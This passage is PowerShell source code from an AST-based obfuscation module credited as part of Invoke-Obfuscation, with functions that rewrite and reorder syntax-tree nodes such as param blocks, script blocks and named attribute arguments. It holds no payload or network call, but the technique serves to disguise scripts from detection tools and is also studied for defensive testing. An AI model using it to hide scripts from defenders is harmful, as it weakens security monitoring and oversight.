379 Else { Out-ObfuscatedUnaryExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
380 }
381 "UsingExpressionAst" {
382 If ($DisableNestedObfuscation) { Out-ObfuscatedUsingExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
383 Else { Out-ObfuscatedUsingExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
384 }
385 "UsingStatementAst" {
386 If ($DisableNestedObfuscation) { Out-ObfuscatedUsingStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
387 Else { Out-ObfuscatedUsingStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
388
389 }
390 "VariableExpressionAst" {
391 If ($DisableNestedObfuscation) { Out-ObfuscatedVariableExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
392 Else { Out-ObfuscatedVariableExpressionAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
393 }
394 "WhileStatementAst" {
395 If ($DisableNestedObfuscation) { Out-ObfuscatedWhileStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate -DisableNestedObfuscation }
396 Else { Out-ObfuscatedWhileStatementAst -Ast $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate }
397 }
398 }
399 }
400 }
401
402 # Ast Children
403
404 function Out-ObfuscatedAttributeBaseAst {
405 <#
406
407 .SYNOPSIS
408
409 Obfuscates a AttributeBaseAst using AbstractSyntaxTree-based obfuscation rules.
410
411 Author: Ryan Cobb (@cobbr_io)
412 License: Apache License, Version 2.0
413 Required Dependecies: Out-ObfuscatedAttributeAst, Out-ObfuscatedTypeConstraintAst, Out-ObfuscatedChildrenAst
414 Optional Dependencies: none
415
416 .DESCRIPTION
417
418 Out-ObfuscatedAttributeBaseAst obfuscates a AttributeBaseAst using AbstractSyntaxTree-based obfuscation rules.
419
420 .PARAMETER AbstractSyntaxTree
421
422 Specifies the AttributeBaseAst to be obfuscated.
423
424 .PARAMETER AstTypesToObfuscate
425
426 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
427
428 .PARAMETER DisableNestedObfuscation
429
430 Specifies that only the root AttributeBaseAst should be obfuscated, obfuscation should not be applied recursively.
431
432 .OUTPUTS
433
434 String
435
436 .EXAMPLE
437
438 Out-ObfuscatedAttributeBaseAst -Ast $AttributeBaseAst
439
440 .NOTES
441
442 Out-ObfuscatedAttributeBaseAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
443
444 #>
445 Param (
446
447 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
448 [ValidateNotNullOrEmpty()]
449 [Alias('Ast')]
450 [System.Management.Automation.Language.AttributeBaseAst] $AbstractSyntaxTree,
451
452 [Parameter(Position = 1)]
453 [ValidateNotNullOrEmpty()]
454 [Alias('AstTypes', 'Types')]
455 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
456
457 [Switch] $DisableNestedObfuscation
458 )
459 Process {
460 Write-Verbose "[Out-ObfuscatedAttributeBaseAst]"
461 # Abstract Ast Type, call inherited ast obfuscation type
462 If ($AbstractSyntaxTree.GetType().Name -eq 'AttributeAst') {
463 Out-ObfuscatedAttributeAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
464 }
465 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'TypeConstraintAst') {
466 Out-ObfuscatedTypeConstraintAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
467 }
468 ElseIf (-not $DisableNestedObfuscation) {
469 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
470 }
471 Else {
472 $AbstractSyntaxTree.Extent.Text
473 }
474 }
475 }
476
477 function Out-ObfuscatedCatchClauseAst {
478 <#
479
480 .SYNOPSIS
481
482 Obfuscates a CatchClauseAst using AbstractSyntaxTree-based obfuscation rules.
483
484 Author: Ryan Cobb (@cobbr_io)
485 License: Apache License, Version 2.0
486 Required Dependecies: Out-ObfuscatedChildrenAst
487 Optional Dependencies: none
488
489 .DESCRIPTION
490
491 Out-ObfuscatedCatchClauseAst obfuscates a CatchClauseAst using AbstractSyntaxTree-based obfuscation rules.
492
493 .PARAMETER AbstractSyntaxTree
494
495 Specifies the CatchClauseAst to be obfuscated.
496
497 .PARAMETER AstTypesToObfuscate
498
499 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
500
501 .PARAMETER DisableNestedObfuscation
502
503 Specifies that only the root CatchClauseAst should be obfuscated, obfuscation should not be applied recursively.
504
505 .OUTPUTS
506
507 String
508
509 .EXAMPLE
510
511 Out-ObfuscatedCatchClauseAst -Ast $CatchClauseAst
512
513 .NOTES
514
515 Out-ObfuscatedAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
516
517 #>
518 Param (
519 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
520 [ValidateNotNullOrEmpty()]
521 [Alias('Ast')]
522 [System.Management.Automation.Language.CatchClauseAst] $AbstractSyntaxTree,
523
524 [Parameter(Position = 1)]
525 [ValidateNotNullOrEmpty()]
526 [Alias('AstTypes', 'Types')]
527 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
528
529 [Switch] $DisableNestedObfuscation
530 )
531 Process {
532 Write-Verbose "[Out-ObfuscatedCatchClauseAst]"
533 If (-not $DisableNestedObfuscation) {
534 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
535 }
536 Else { $AbstractSyntaxTree.Extent.Text }
537 }
538 }
539
540 function Out-ObfuscatedCommandElementAst {
541 <#
542
543 .SYNOPSIS
544
545 Obfuscates a CommandElementAst using AbstractSyntaxTree-based obfuscation rules.
546
547 Author: Ryan Cobb (@cobbr_io)
548 License: Apache License, Version 2.0
549 Required Dependecies: Out-ObfuscatedCommandParameterAst, Out-ObfuscatedExpressionAst, Out-ObfuscatedChildrenAst
550 Optional Dependencies: none
551
552 .DESCRIPTION
553
554 Out-ObfuscatedCommandElementAst obfuscates a CommandElementAst using AbstractSyntaxTree-based obfuscation rules.
555
556 .PARAMETER AbstractSyntaxTree
557
558 Specifies the CommandElementAst to be obfuscated.
559
560 .PARAMETER AstTypesToObfuscate
561
562 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
563
564 .PARAMETER DisableNestedObfuscation
565
566 Specifies that only the root CommandElementAst should be obfuscated, obfuscation should not be applied recursively.
567
568 .OUTPUTS
569
570 String
571
572 .EXAMPLE
573
574 Out-ObfuscatedCommandElementAst -Ast $CommandElementAst
575
576 .NOTES
577
578 Out-ObfuscatedCommandElementAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
579
580 #>
581 Param (
582 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
583 [ValidateNotNullOrEmpty()]
584 [Alias('Ast')]
585 [System.Management.Automation.Language.CommandElementAst] $AbstractSyntaxTree,
586
587 [Parameter(Position = 1)]
588 [ValidateNotNullOrEmpty()]
589 [Alias('AstTypes', 'Types')]
590 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
591
592 [Switch] $DisableNestedObfuscation
593 )
594 Process {
595 Write-Verbose "[Out-ObfuscatedCommandElementAst]"
596 # Abstract Ast Type, call child inherited ast obfuscation type
597 If ($AbstractSyntaxTree.GetType().Name -eq 'CommandParameterAst') {
598 Out-ObfuscatedCommandParameterAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
599 }
600 ElseIf ($AbstractSyntaxTree.GetType().Name -eq 'ExpressionAst') {
601 Out-ObfuscatedExpressionAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
602 }
603 ElseIf (-not $DisableNestedObfuscation) {
604 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
605 }
606 Else {
607 $AbstractSyntaxTree.Extent.Text
608 }
609 }
610 }
611
612 function Out-ObfuscatedMemberAst {
613 <#
614
615 .SYNOPSIS
616
617 Obfuscates a MemberAst using AbstractSyntaxTree-based obfuscation rules.
618
619 Author: Ryan Cobb (@cobbr_io)
620 License: Apache License, Version 2.0
621 Required Dependecies: Out-ObfuscatedChildrenAst
622 Optional Dependencies: none
623
624 .DESCRIPTION
625
626 Out-ObfuscatedMemberAst obfuscates a MemberAst using AbstractSyntaxTree-based obfuscation rules.
627
628 .PARAMETER AbstractSyntaxTree
629
630 Specifies the MemberAst to be obfuscated.
631
632 .PARAMETER AstTypesToObfuscate
633
634 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
635
636 .PARAMETER DisableNestedObfuscation
637
638 Specifies that only the root MemberAst should be obfuscated, obfuscation should not be applied recursively.
639
640 .OUTPUTS
641
642 String
643
644 .EXAMPLE
645
646 Out-ObfuscatedMemberAst -Ast $MemberAst
647
648 .NOTES
649
650 Out-ObfuscatedMemberAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
651
652 #>
653 Param (
654 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
655 [ValidateNotNullOrEmpty()]
656 [Alias('Ast')]
657 [System.Management.Automation.Language.MemberAst] $AbstractSyntaxTree,
658
659 [Parameter(Position = 1)]
660 [ValidateNotNullOrEmpty()]
661 [Alias('AstTypes', 'Types')]
662 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
663
664 [Switch] $DisableNestedObfuscation
665 )
666 Process {
667 Write-Verbose "[Out-ObfuscatedMemberAst]"
668 If (-not $DisableNestedObfuscation) {
669 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
670 }
671 Else { $AbstractSyntaxTree.Extent.Text }
672 }
673 }
674
675 function Out-ObfuscatedNamedAttributeArgumentAst {
676 <#
677
678 .SYNOPSIS
679
680 Obfuscates a NamedAttributeArgumentAst using AbstractSyntaxTree-based obfuscation rules.
681
682 Author: Ryan Cobb (@cobbr_io)
683 License: Apache License, Version 2.0
684 Required Dependecies: Out-ObfuscatedChildrenAst
685 Optional Dependencies: none
686
687 .DESCRIPTION
688
689 Out-ObfuscatedNamedAttributeArgumentAst obfuscates a NamedAttributeArgumentAst using AbstractSyntaxTree-based obfuscation rules.
690
691 .PARAMETER AbstractSyntaxTree
692
693 Specifies the NamedAttributeArgumentAst to be obfuscated.
694
695 .PARAMETER AstTypesToObfuscate
696
697 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
698
699 .PARAMETER DisableNestedObfuscation
700
701 Specifies that only the root NamedAttributeArgumentAst should be obfuscated, obfuscation should not be applied recursively.
702
703 .OUTPUTS
704
705 String
706
707 .EXAMPLE
708
709 Out-ObfuscatedNamedAttributeArgumentAst -Ast $NamedAttributeArgumentAst
710
711 .NOTES
712
713 Out-ObfuscatedNamedAttributeArgumentAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
714
715 #>
716 Param (
717 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
718 [ValidateNotNullOrEmpty()]
719 [Alias('Ast')]
720 [System.Management.Automation.Language.NamedAttributeArgumentAst] $AbstractSyntaxTree,
721
722 [Parameter(Position = 1)]
723 [ValidateNotNullOrEmpty()]
724 [Alias('AstTypes', 'Types')]
725 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
726
727 [Switch] $DisableNestedObfuscation
728 )
729 Process {
730 Write-Verbose "[Out-ObfuscatedNamedAttributeArgumentAst]"
731 If (-not ($AbstractSyntaxTree.GetType() -in $AstTypesToObfuscate)) {
732 If (-not $DisableNestedObfuscation) {
733 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
734 }
735 Else { $AbstractSyntaxTree.Extent.Text }
736 }
737 ElseIf ($AbstractSyntaxTree.ExpressionOmitted) {
738 $AbstractSyntaxTree.Extent.Text + " = `$True"
739 }
740 ElseIf ($AbstractSyntaxTree.Argument.Extent.Text -eq "`$True") {
741 $AbstractSyntaxTree.ArgumentName
742 }
743 ElseIf (-not $DisableNestedObfuscation) {
744 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
745 }
746 Else { $AbstractSyntaxTree.Extent.Text }
747 }
748 }
749
750 function Out-ObfuscatedNamedBlockAst {
751 <#
752
753 .SYNOPSIS
754
755 Obfuscates a NamedAttributeArgumentAst using AbstractSyntaxTree-based obfuscation rules.
756
757 Author: Ryan Cobb (@cobbr_io)
758 License: Apache License, Version 2.0
759 Required Dependecies: Out-ObfuscatedChildrenAst
760 Optional Dependencies: none
761
762 .DESCRIPTION
763
764 Out-ObfuscatedNamedBlockAst obfuscates a NamedBlockAst using AbstractSyntaxTree-based obfuscation rules.
765
766 .PARAMETER AbstractSyntaxTree
767
768 Specifies the NamedBlockAst to be obfuscated.
769
770 .PARAMETER AstTypesToObfuscate
771
772 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
773
774 .PARAMETER DisableNestedObfuscation
775
776 Specifies that only the root NamedBlockAst should be obfuscated, obfuscation should not be applied recursively.
777
778 .OUTPUTS
779
780 String
781
782 .EXAMPLE
783
784 Out-ObfuscatedNamedBlockAst -Ast $NamedBlockAst
785
786 .NOTES
787
788 Out-ObfuscatedNamedBlockAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
789
790 #>
791 Param (
792 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
793 [ValidateNotNullOrEmpty()]
794 [Alias('Ast')]
795 [System.Management.Automation.Language.NamedBlockAst] $AbstractSyntaxTree,
796
797 [Parameter(Position = 1)]
798 [ValidateNotNullOrEmpty()]
799 [Alias('AstTypes', 'Types')]
800 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
801
802 [Switch] $DisableNestedObfuscation
803 )
804 Process {
805 Write-Verbose "[Out-ObfuscatedNamedBlockAst]"
806 If (-not $DisableNestedObfuscation) {
807 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
808 }
809 Else { $AbstractSyntaxTree.Extent.Text }
810 }
811 }
812
813 function Out-ObfuscatedParamBlockAst {
814 <#
815
816 .SYNOPSIS
817
818 Obfuscates a ParamBlockAst using AbstractSyntaxTree-based obfuscation rules.
819
820 Author: Ryan Cobb (@cobbr_io)
821 License: Apache License, Version 2.0
822 Required Dependecies: Out-ObfuscatedAstsReordered, Get-AstChildren
823 Optional Dependencies: none
824
825 .DESCRIPTION
826
827 Out-ObfuscatedParamBlockAst obfuscates a ParamBlockAst using AbstractSyntaxTree-based obfuscation rules.
828
829 .PARAMETER AbstractSyntaxTree
830
831 Specifies the ParamBlockAst to be obfuscated.
832
833 .PARAMETER AstTypesToObfuscate
834
835 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
836
837 .PARAMETER DisableNestedObfuscation
838
839 Specifies that only the root ParamBlockAst should be obfuscated, obfuscation should not be applied recursively.
840
841 .OUTPUTS
842
843 String
844
845 .EXAMPLE
846
847 Out-ObfuscatedParamBlockAst -Ast $ParamBlockAst
848
849 .NOTES
850
851 Out-ObfuscatedParamBlockAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
852
853 #>
854 Param (
855 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
856 [ValidateNotNullOrEmpty()]
857 [Alias('Ast')]
858 [System.Management.Automation.Language.ParamBlockAst] $AbstractSyntaxTree,
859
860 [Parameter(Position = 1)]
861 [ValidateNotNullOrEmpty()]
862 [Alias('AstTypes', 'Types')]
863 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
864
865 [Switch] $DisableNestedObfuscation
866 )
867 Process {
868 Write-Verbose "[Out-ObfuscatedParamBlockAst]"
869 If (-not ($AbstractSyntaxTree.GetType() -in $AstTypesToObfuscate)) {
870 If (-not $DisableNestedObfuscation) {
871 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
872 }
873 Else { $AbstractSyntaxTree.Extent.Text }
874 }
875 ElseIf (-not $DisableNestedObfuscation) {
876 $Children = (Get-AstChildren -AbstractSyntaxTree $AbstractSyntaxTree | ? { $_.Extent.StartScriptPosition.GetType().Name -ne 'EmptyScriptPosition' } | Sort-Object { $_.Extent.StartOffset }) -as [array]
877 # For some reason 'Attribute' children do not exist within the ParamBlockAst Extent. Very frustrating.
878 $ChildrenNotAttributes = $Children | ? { -not ($_ -in $AbstractSyntaxTree.Attributes) }
879 $ChildrenAttributes = $Children | ? { $_ -in $AbstractSyntaxTree.Attributes }
880
881 Out-ObfuscatedAstsReordered -ParentAst $AbstractSyntaxTree -ChildrenAsts $ChildrenNotAttributes -AstTypesToObfuscate $AstTypesToObfuscate
882 }
883 Else { $AbstractSyntaxTree.Extent.Text }
884 }
885 }
886
887 function Out-ObfuscatedParameterAst {
888 <#
889
890 .SYNOPSIS
891
892 Obfuscates a ParameterAst using AbstractSyntaxTree-based obfuscation rules.
893
894 Author: Ryan Cobb (@cobbr_io)
895 License: Apache License, Version 2.0
896 Required Dependecies: Out-ObfuscatedAstsReordered, Get-AstChildren
897 Optional Dependencies: none
898
899 .DESCRIPTION
900
901 Out-ObfuscatedParameterAst obfuscates a ParameterAst using AbstractSyntaxTree-based obfuscation rules.
902
903 .PARAMETER AbstractSyntaxTree
904
905 Specifies the ParameterAst to be obfuscated.
906
907 .PARAMETER AstTypesToObfuscate
908
909 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
910
911 .PARAMETER DisableNestedObfuscation
912
913 Specifies that only the root ParameterAst should be obfuscated, obfuscation should not be applied recursively.
914
915 .OUTPUTS
916
917 String
918
919 .EXAMPLE
920
921 Out-ObfuscatedParameterAst -Ast $ParameterAst
922
923 .NOTES
924
925 Out-ObfuscatedParameterAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
926
927 #>
928 Param (
929 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
930 [ValidateNotNullOrEmpty()]
931 [Alias('Ast')]
932 [System.Management.Automation.Language.ParameterAst] $AbstractSyntaxTree,
933
934 [Parameter(Position = 1)]
935 [ValidateNotNullOrEmpty()]
936 [Alias('AstTypes', 'Types')]
937 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
938
939 [Switch] $DisableNestedObfuscation
940 )
941 Process {
942 Write-Verbose "[Out-ObfuscatedParameterAst]"
943 If (-not $DisableNestedObfuscation) {
944 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
945 }
946 Else { $AbstractSyntaxTree.Extent.Text }
947 }
948 }
949
950 function Out-ObfuscatedRedirectionAst {
951 <#
952
953 .SYNOPSIS
954
955 Obfuscates a RedirectionAst using AbstractSyntaxTree-based obfuscation rules.
956
957 Author: Ryan Cobb (@cobbr_io)
958 License: Apache License, Version 2.0
959 Required Dependecies: Out-ObfuscatedChildrenAst
960 Optional Dependencies: none
961
962 .DESCRIPTION
963
964 Out-ObfuscatedRedirectionAst obfuscates a RedirectionAst using AbstractSyntaxTree-based obfuscation rules.
965
966 .PARAMETER AbstractSyntaxTree
967
968 Specifies the RedirectionAst to be obfuscated.
969
970 .PARAMETER AstTypesToObfuscate
971
972 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
973
974 .PARAMETER DisableNestedObfuscation
975
976 Specifies that only the root RedirectionAst should be obfuscated, obfuscation should not be applied recursively.
977
978 .OUTPUTS
979
980 String
981
982 .EXAMPLE
983
984 Out-ObfuscatedRedirectionAst -Ast $RedirectionAst
985
986 .NOTES
987
988 Out-ObfuscatedRedirectionAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
989
990 #>
991 Param (
992 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
993 [ValidateNotNullOrEmpty()]
994 [Alias('Ast')]
995 [System.Management.Automation.Language.RedirectionAst] $AbstractSyntaxTree,
996
997 [Parameter(Position = 1)]
998 [ValidateNotNullOrEmpty()]
999 [Alias('AstTypes', 'Types')]
1000 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1001
1002 [Switch] $DisableNestedObfuscation
1003 )
1004 Process {
1005 Write-Verbose "[Out-ObfuscatedRedirectionAst]"
1006 If (-not $DisableNestedObfuscation) {
1007 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1008 }
1009 Else { $AbstractSyntaxTree.Extent.Text }
1010 }
1011 }
1012
1013 function Out-ObfuscatedScriptBlockAst {
1014 <#
1015
1016 .SYNOPSIS
1017
1018 Obfuscates a ScriptBlockAst using AbstractSyntaxTree-based obfuscation rules.
1019
1020 Author: Ryan Cobb (@cobbr_io)
1021 License: Apache License, Version 2.0
1022 Required Dependecies: Out-ObfuscatedChildrenAst, Out-ObfuscatedAstsReordered, Out-ObfuscatedAst, Get-AstChildren
1023 Optional Dependencies: none
1024
1025 .DESCRIPTION
1026
1027 Out-ObfuscatedScriptBlockAst obfuscates a ScriptBlockAst using AbstractSyntaxTree-based obfuscation rules.
1028
1029 .PARAMETER AbstractSyntaxTree
1030
1031 Specifies the ScriptBlockAst to be obfuscated.
1032
1033 .PARAMETER AstTypesToObfuscate
1034
1035 Specifies the Ast Types within the root Ast that obfuscation should be applied to. Defaults to all types with obfuscation implemented.
1036
1037 .PARAMETER DisableNestedObfuscation
1038
1039 Specifies that only the root ScriptBlockAst should be obfuscated, obfuscation should not be applied recursively.
1040
1041 .OUTPUTS
1042
1043 String
1044
1045 .EXAMPLE
1046
1047 Out-ObfuscatedScriptBlockAst -Ast $ScriptBlockAst
1048
1049 .NOTES
1050
1051 Out-ObfuscatedScriptBlockAst is a part of Invoke-Obfuscation. Invoke-Obfuscation can be found at https://github.com/danielbohannon/Invoke-Obfuscation.
1052
1053 #>
1054 Param (
1055 [Parameter(Position = 0, ValueFromPipeline, Mandatory)]
1056 [ValidateNotNullOrEmpty()]
1057 [Alias('Ast')]
1058 [System.Management.Automation.Language.ScriptBlockAst] $AbstractSyntaxTree,
1059
1060 [Parameter(Position = 1)]
1061 [ValidateNotNullOrEmpty()]
1062 [Alias('AstTypes', 'Types')]
1063 [System.Type[]] $AstTypesToObfuscate = @('System.Management.Automation.Language.NamedAttributeArgumentAst', 'System.Management.Automation.Language.ParamBlockAst', 'System.Management.Automation.Language.ScriptBlockAst', 'System.Management.Automation.Language.AttributeAst', 'System.Management.Automation.Language.BinaryExpressionAst', 'System.Management.Automation.Language.HashtableAst', 'System.Management.Automation.Language.CommandAst', 'System.Management.Automation.Language.AssignmentStatementAst', 'System.Management.Automation.Language.TypeExpressionAst', 'System.Management.Automation.Language.TypeConstraintAst'),
1064
1065 [Switch] $DisableNestedObfuscation
1066 )
1067 Process {
1068 Write-Verbose "[Out-ObfuscatedScriptBlockAst]"
1069 If (-not ($AbstractSyntaxTree.GetType() -in $AstTypesToObfuscate)) {
1070 If (-not $DisableNestedObfuscation) {
1071 Out-ObfuscatedChildrenAst -AbstractSyntaxTree $AbstractSyntaxTree -AstTypesToObfuscate $AstTypesToObfuscate
1072 }
1073 Else { $AbstractSyntaxTree.Extent.Text }
1074 }
1075 ElseIf (-not $DisableNestedObfuscation) {
1076 $Children = (Get-AstChildren -Ast $AbstractSyntaxTree | ? { $_.Extent.StartScriptPosition.GetType().Name -ne 'EmptyScriptPosition' }) -as [array]
1077 $RealChildren = $Children
1078 $FunctionDefinitionBlocks = @()
1079 If ($AbstractSyntaxTree.BeginBlock) { $FunctionDefinitionBlocks += $AbstractSyntaxTree.BeginBlock }
1080 If ($AbstractSyntaxTree.ProcessBlock) { $FunctionDefinitionBlocks += $AbstractSyntaxTree.ProcessBlock }
1081 If ($AbstractSyntaxTree.EndBlock) { $FunctionDefinitionBlocks += $AbstractSyntaxTree.EndBlock }
1082
1083 If ($Children.Count -eq 2 -AND $Children[0].GetType().Name -eq 'ParamBlockAst' -AND $Children[1].GetType().Name -eq 'NamedBlockAst' -AND $Children[1] -eq $AbstractSyntaxTree.EndBlock) {
1084 [System.Management.Automation.Language.Ast[]] $RealChildren = ($Children[0]) -as [array]
1085 $RealChildren += (Get-AstChildren -Ast $Children[1] | ? { $_.Extent.StartScriptPosition.GetType().Name -ne 'EmptyScriptPosition' } | Sort-Object { $_.Extent.StartOffset }) -as [array]
